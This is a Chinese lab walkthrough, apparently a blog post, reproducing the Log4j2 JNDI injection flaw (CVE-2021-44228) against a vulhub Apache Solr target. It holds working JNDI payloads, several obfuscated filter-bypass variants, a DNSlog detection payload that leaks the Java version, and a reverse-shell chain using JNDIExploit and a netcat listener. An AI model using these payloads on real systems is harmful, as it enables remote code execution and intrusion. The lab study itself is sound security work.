apache log4j 2(CVE-2021-44228)漏洞复现

目录

一、漏洞信息

二、 Log4j 2漏洞原理

三、利用

四、绕过

五、漏洞复现

5.1 漏洞环境搭建

5.2 漏洞检测

 5.3 攻击(复现)


一、漏洞信息

漏洞名称

 Apache Log4j2 lookup JNDI 注入漏洞

(Apache Log4j2 lookup feature JNDI injection)

漏洞编号CVE-2021-44228
危害等级严重
CVSS评分10
漏洞类型代码问题
vulhub Pathlog4j/CVE-2021-44228
相关概念

Apache Log4j

Apache的开源项目,一个功能强大的日志组件,提供方便的日志记录

Apache Log4j 2

对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。优秀的Java日志框架
Log4j2 漏洞受影响版本2.0到2.14.1版本中存在一处JNDI注入漏洞

二、 Log4j 2漏洞原理

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Example.class);
        String user_input = args[0];
        logger.info("User input: " + user_input);
    }
}

在这个示例中,我们使用了log4j的Java API来记录日志。然而,我们没有对用户输入进行任何过滤或验证,这意味着如果用户输入包含恶意代码,它将会被记录到日志文件中。

这个漏洞的根本原因在于log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。
【API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数】

Log4j 为了输出日志时能输出任意位置的 Java 对象,引入了 Lookup 接口,这个 Lookup 接口可以看作是 JNDI 的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java 的序列化或 反序列化传输,从远程服务器上查找。
由于 Lookup 接口的原因, Log4j 就暗含 JNDI 注入漏洞,可以联合使用 JNDI+LDAP 或者 JNDI+RMI 通过命名功 能直接从远程服务器上调用文件并在本地执行。
Log4j 在处理消息转换时,会按照字符检测每条日志,当日志中包含 ${} 时,则会将表达式的内容替换成真实的内容( lookup 接口查找得到的内容),使用 LDAP RMI 协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j 的漏洞。

三、利用

ldap/rmi 注入
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可)
payload:${jndi:ldap://127.0.0.1:1234/ExportObject}

四、绕过

1. 利用分隔符和多个${}绕过
2. 通过 lower 和 upper 绕过
3 可以利用一些特殊字符
4 可以利用编码绕过
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

五、漏洞复现

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库。我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

5.1 漏洞环境搭建

搭建环境:Ubuntu

工具:vulhub

命令语句:

1、cd vulhub/log4j/CVE-2021-44228
2、docker-compose up -d
#执行命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面:

5.2 漏洞检测

放在检码平台打一下,检测到带外流量则说明存在该漏洞。

配合dnslog常见的dnslog平台:
dnslog: http://www.dnslog.cn/
dnslog:https://log.xn--9tr.com/
ceye:http://ceye.io/

例如:ceye

5.2.1 首先得到主域名:u80phv.ceye.io

 就可以构造 payload: ${jndi:ldap://u80phv.ceye.io/exp}

5.2.2 传参点

http://your-ip:8983/solr/admin/cores?action=payload

eg. http://192.168.57.135:8983/solr/admin/cores?action=${jndi:ldap://u80phv.ceye.io/exp}

 检测到带外流量,说明存在该漏洞。

 5.3 攻击(复现)

靶机:Ubuntu-20.04

攻击机:Kali-2022

5.3.1 实际利用JNDI注入漏洞,可以使用[这个工具](https://github.com/su18/JNDI)。下载到攻击机。

在工具窗口右击打开终端:输入命令【java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.57.136】(攻击机-IP)

5.3.2 反弹shell到攻击机 

首先,攻击机启动命令,监听端口:nc -lvvp 7777

浏览器进入:

http://192.168.57.135:8983/solr/admin/cores?
action=${jndi:ldap://192.168.57.136:1389/Basic/ReverseShell/192.168.57.136/7777}

攻击成功。 

### CVE-2021-44228 漏洞复现分析 #### Log4j 的介绍 Log4j 是一个广泛使用的Java日志记录库,由Apache软件基金会开发。该库允许开发者通过配置文件灵活控制日志信息的格式、级别以及输出位置。 #### 漏洞概述 CVE-2021-44228是一个存在于Log4j 2.x系列中的严重远程代码执行漏洞。当应用程序使用了受影响版本的日志组件并处理特定模式字符串时,攻击者可以构造恶意输入触发JNDI注入,从而实现任意代码执行或敏感数据泄露[^1]。 #### 复现环境准备 为了安全地研究此漏洞,在隔离环境中搭建测试平台至关重要。通常情况下,这涉及到安装适当的操作系统镜像(如Kali Linux),确保已安装Java Development Kit (JDK),因为目标应用依赖于它来运行。具体来说,对于本案例而言,建议采用JDK 1.8版本[^2]。 #### 构建利用场景 构建模拟攻击的第一步是从GitHub仓库获取专门为此目的设计的工具集——`bkfish/Apache-Log4j-Learning`项目提供了详细的指南和必要的脚本支持。这些资源可以帮助研究人员快速设置好实验条件,并验证不同条件下漏洞的表现形式。 #### 利用方式实例化 一种常见的利用方法是在请求参数中嵌入特殊格式化的字符串表达式`${...}`,其中包含了指向外部LDAP服务器的数据源描述符。例如,向Solr服务发送如下所示的核心管理命令: ```bash http://target/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ib1ozt.dnslog.cn} ``` 这里`${sys:java.version}`会解析成当前系统的Java版本号作为子域名的一部分传递给DNS查询,以此证明存在潜在的安全风险[^4]。 #### 受影响范围确认 一旦成功触发漏洞,可以通过监控网络流量或者查看响应报文中携带的信息判断是否存在异常行为。比如观察到DNS请求中含有预期之外的内容,则表明可能已经遭受了非法入侵尝试;反之如果没有明显的迹象则说明防护措施有效阻止了威胁的发生。 #### 安全加固建议 针对此类高危级别的零日缺陷,官方及时发布了补丁程序修复问题所在之处。因此强烈推荐用户尽快升级至最新稳定版Log4j以消除隐患。除此之外,还应考虑采取其他辅助性的防御策略,诸如限制对外部资源加载权限、启用严格的输入校验机制等手段进一步增强安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值